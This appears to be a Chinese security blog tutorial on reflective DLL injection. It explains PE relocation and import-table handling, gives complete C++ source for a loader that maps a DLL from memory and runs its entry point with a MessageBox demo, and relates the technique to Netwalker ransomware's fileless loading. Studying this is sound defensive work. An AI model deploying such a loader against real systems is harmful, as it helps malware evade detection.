01

技术概要

这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注入。这消除了将DLL注册为进程已加载模块的需求,从而可逃脱工具的监视。

首先准备好测试dll,使用VS2015先编译生成一个测试dll文件,作用是dll被进程附加的时候会执行MessageBox弹框,切记不要选择空项目。如下,在DLL_PROCESS_ATTACH添加一个消息框函数,直接编译生成dll。

下面会根据源码逐步分析整体执行流程,示例代码是模拟内存自加载dll的过程,为了演示所以采用了比较简单的方式,dll文件生成后放在在本地,而真实案例中恶意代码会存在母体文件的内存中,因为需要不落地内存加载。

先声明相应的结构体变量,采用指定位数的方式指定结构体变量实际占用的位数(根据重定位表的特性),声明一个函数指针便于后续进行调用执行dll入口。

第一步先通过GetModuleHandleA获取基址,避免ASLR随机基址影响,读取dll文件内容加载至内存中,通过PE结构获取实际加载至内存中dll的PE头部数据。

分配dll加载时所需的内存空间,获取加载基址与预期基址的差值,接着复制dll头部数据至新的内存空间。

开始模拟Windows加载器功能加载PE文件至内存,如下。

02

PE文件重定位

基址重定位表位于PE头的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5],换句话说重定位表位于可选头的数据目录表下的第六项,基址重定位表中记录硬编码地址的位置(偏移),使用这张表就能获得准确的硬编码地址偏移并后续对其修正。重定位表是按照一个物理页(4kb或1000H)进行存储的,也就是一个重定位块负责一个4kb内存页,一个重定位表只管自己当前的物理页重定位。一个重定位表的记录偏移的大小是2个字节(1000H最多需要12bit即可0~FFFH),也就是16位,而记录偏移的大小是由SizeofBlock决定的。

如何修正?

将指令中的操作数按照指针字节数读取出来,然后将其减去默认加载基址(扩展头中的字段ImageBase),再加上新的加载基址,最后把新地址存入原来的地址中。

重定位工作完成之后,进行导入表的解析。

以上工作准备完毕之后,就已经模拟内存加载完成,之后获取dll文件入口点进行执行,利用了之前声明的函数指针。

03

示例源码

#include

#include

typedef struct BASE_RELOCATION_BLOCK {

DWORD PageAddress;

DWORD BlockSize;

} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {

USHORT Offset : 12;

USHORT Type : 4;

} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()

{

//得到当前模块的基址

PVOID imageBase = GetModuleHandleA(NULL);

//本地加载dll内容至内存中

HANDLE dll =  CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,  NULL, NULL, OPEN_EXISTING, NULL, NULL);

DWORD64 dllSize = GetFileSize(dll, NULL);

LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);

DWORD outSize = 0;

ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

//获取已加载至内存中的dll的头部数据

PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +  dosHeaders->e_lfanew);

SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

//分配dll加载时所需的内存空间

LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,  dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//得到实际分配的内存基址与预期的基址差值,便于后续进行重定向

DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -  (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

//将dll头部数据复制到分配的内存空间

std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

//加载节区数据至新的内存空间

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)

{

LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +  (DWORD_PTR)section->VirtualAddress);

LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +  (DWORD_PTR)section->PointerToRawData);

std::memcpy(sectionDestination, sectionBytes,  section->SizeOfRawData);

section++;

}

// 开始dll加载实现重定位

IMAGE_DATA_DIRECTORY relocations =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

DWORD_PTR relocationTable = relocations.VirtualAddress +  (DWORD_PTR)dllBase;

DWORD relocationsProcessed = 0;

while (relocationsProcessed < relocations.Size)

{

PBASE_RELOCATION_BLOCK relocationBlock =  (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);

relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);

DWORD relocationsCount = (relocationBlock->BlockSize -  sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);

PBASE_RELOCATION_ENTRY relocationEntries =  (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

for (DWORD i = 0; i < relocationsCount; i++)

{

relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

if (relocationEntries[i].Type == 0)

{

continue;

}

DWORD_PTR relocationRVA = relocationBlock->PageAddress +  relocationEntries[i].Offset;

DWORD_PTR addressToPatch = 0;

ReadProcessMemory(GetCurrentProcess(),  (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),  NULL);

addressToPatch += deltaImageBase;

std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),  &addressToPatch, sizeof(DWORD_PTR));

}

}

//解析导入表

PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;

IMAGE_DATA_DIRECTORY importsDirectory =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

importDescriptor =  (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);

LPCSTR libraryName = "";

HMODULE library = NULL;

while (importDescriptor->Name != NULL)

{

libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;

library = LoadLibraryA(libraryName);

if (library)

{

PIMAGE_THUNK_DATA thunk = NULL;

thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +  importDescriptor->FirstThunk);

while (thunk->u1.AddressOfData != NULL)

{

if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))

{

LPCSTR functionOrdinal =  (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);

thunk->u1.Function =  (DWORD_PTR)GetProcAddress(library, functionOrdinal);

}

else

{

PIMAGE_IMPORT_BY_NAME functionName =  (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);

DWORD_PTR functionAddress =  (DWORD_PTR)GetProcAddress(library, functionName->Name);

thunk->u1.Function = functionAddress;

}

++thunk;

}

}

importDescriptor++;

}

//执行加载的dll

DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +  ntHeaders->OptionalHeader.AddressOfEntryPoint);

(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);

HeapFree(GetProcessHeap(), 0, dllBytes);

return 0;

}

04

整个流程

1、读入原始DLL文件至内存缓冲区;

2、解析DLL标头并获取SizeOfImage;

3、为DLL分配新的内存空间,大小为SizeOfImage;

4、将DLL标头和PE节复制到步骤3中分配的内存空间;

5、执行重定位;

6、加载DLL导入的库;

7、解析导入地址表(IAT);

8、调用DLL的DLL_PROCESS_ATTACH;

05

演示效果

06

真实案例

Netwalker勒索软件dll自加载技术

恶意文件是一个混淆并加密过的PowerShell脚本,先对PowerShell脚本进行解混淆。解混淆后的内容如下,字节序列中的0x4d、0x5a明显是一个PE文件标志头,一旦加载执行后,这部分内容就在内存中了。

明显的C#代码模拟解析PE结构,如下。

执行自加载执行,如下。

更详细的内容可去除混淆后自行查看,该勒索样本实现的反射加载过程非常明显。加载执行后,通过模拟加载dll并调用导出函数Do后进而实现注入目标进程,类似的技术则与开源项目PowerSploit中的反射自加载的Mimikatz脚本实现相类似。

07

参考

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

dll oem证书导入工具_恶意代码分析之反射型DLL注入相关推荐

  1. dll oem证书导入工具_技术干货 | 恶意代码分析之反射型DLL注入

    欢迎各位添加微信号:qinchang_198231   加入安全+ 交流群 和大佬们一起交流安全技术 01 技术概要 这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注 ...

  2. dxf转g代码_恶意代码分析系列几种常用技术(2)

    介绍 在很多时候为了能够对目标进程空间数据进行修改,或者使用目标进程的名称来执行自己的代码,实现危害用户的操作,通常是将一个 DLL文件或者 ShellCode注入到目标进程中去执行.这里分享四种常用 ...

  3. cookie代码加时间多久出现一次_恶意代码分析 丨 一个毫无套路的咸鱼诈骗网站...

    在一个百无聊赖的周三下午,还有半个钟头就要下班了,这时候赶紧准备一下,工作收收尾,我们的口号是在5点30准时打卡下班.在一切都收拾妥当发现还有20分钟,无聊的打开论坛决定水水贴,然后看到了一篇关于闲鱼 ...

  4. 【转】恶意代码分析-工具收集

    如有侵权,请联系删除. 目录 恶意代码分析-工具收集 恶意代码分析实战 恶意软件自动化分析工具套件 文档分析工具 JavaScript分析工具 系统&文件监视工具 shellcode分析工具 ...

  5. 恶意代码分析-工具收集

    恶意代码分析-工具收集 恶意代码分析实战 Strings:字符串查找工具 https://docs.microsoft.com/zh-cn/sysinternals/downloads/strings ...

  6. 基于windows PE文件的恶意代码分析;使用SystemInternal工具与内核调试器研究windows用户空间与内核空间...

    基于windows PE文件的恶意代码分析:使用SystemInternal工具与内核调试器研究windows用户空间与内核空间 ******************** 既然本篇的主角是PE文件,那 ...

  7. 恶意代码分析实战-通过IDA对恶意代码进行静态分析(Lab05-01.dll)

    本文章为<恶意代码分析实战>的题目答案解析以及个人的一些理解,将通过一下问题对恶意代码Lab05-01.dll进行分析: D1lMain的地址是什么? 使用Imports窗口并浏览到get ...

  8. 【恶意代码分析】_第一站

    文章目录 概述 基本概念 有损压缩 加壳 壳的装载及其分类 压缩器和保护器 恶意程序在线分析网站 UPX实验 介绍UPX 使用UPX压缩文件 UPX加壳原理 使用工具查看和脱壳 Lord PE 工具P ...

  9. 20145120黄玄曦《网络对抗》恶意代码分析

    20145120黄玄曦<网络对抗>恶意代码分析 Windows计划任务schtasks 在命令提示符输入schtasks /create /TN netstat /sc MINUTE /M ...

最新文章

  1. JavaScript 中的return true 和return false
  2. Can't read [proguard.ClassPathEntry@1a0c10f] (No such file or directory)
  3. linux系统添加网卡驱动,Linux 2.6.35内核配置和网卡驱动添加
  4. API标准化成为技术团队面临的最大挑战
  5. KubeVela v1.3 多集群初体验,轻松管理应用分发和差异化配置
  6. 12.12 带触发器按钮的输入框
  7. storm the 少儿英语_米粒英语绘本课堂——The Snowstorm
  8. QT窗口与Windows系统窗口之间关系和转换
  9. matlab 生命游戏
  10. ESS 控制台之访问控制篇
  11. 学习Python,你都遇到了哪些坑?
  12. iOS HomeKit Quick Start iOS HomeKit快速入门 Lynda课程中文字幕
  13. vue中的key有什么作用?(key的内部原理)
  14. 挑选国外vps主机需要注意哪些呢
  15. Camera2 YUV420_888
  16. 利用Chrome Edge浏览器调试AndroidWebView
  17. 传统系统架构与中台架构的区别和联系
  18. 告别 .com网址时代,Opera浏览器实现用Emoji符号打开网站
  19. 关于解决错误apt --fix-broken install
  20. 图文详解MOS管的米勒效应

热门文章

  1. 条件随机场CRF HMM,MEMM的区别
  2. java单例设计模式
  3. echart参数设置——曲线图
  4. Java记录-SpringMVC整合Echarts画地图加散点图
  5. django的表单系统
  6. js检测数据类型的方法你都掌握了几个?
  7. sublime Text 2 安装Sublime Package Control
  8. 酷炫Jquery收集
  9. 112.局部变量和全局变量在内存中是怎样存储的?113.WLAN无线传输协议
  10. C++ 中有大量的函数用来操作以‘\0‘结尾的字符串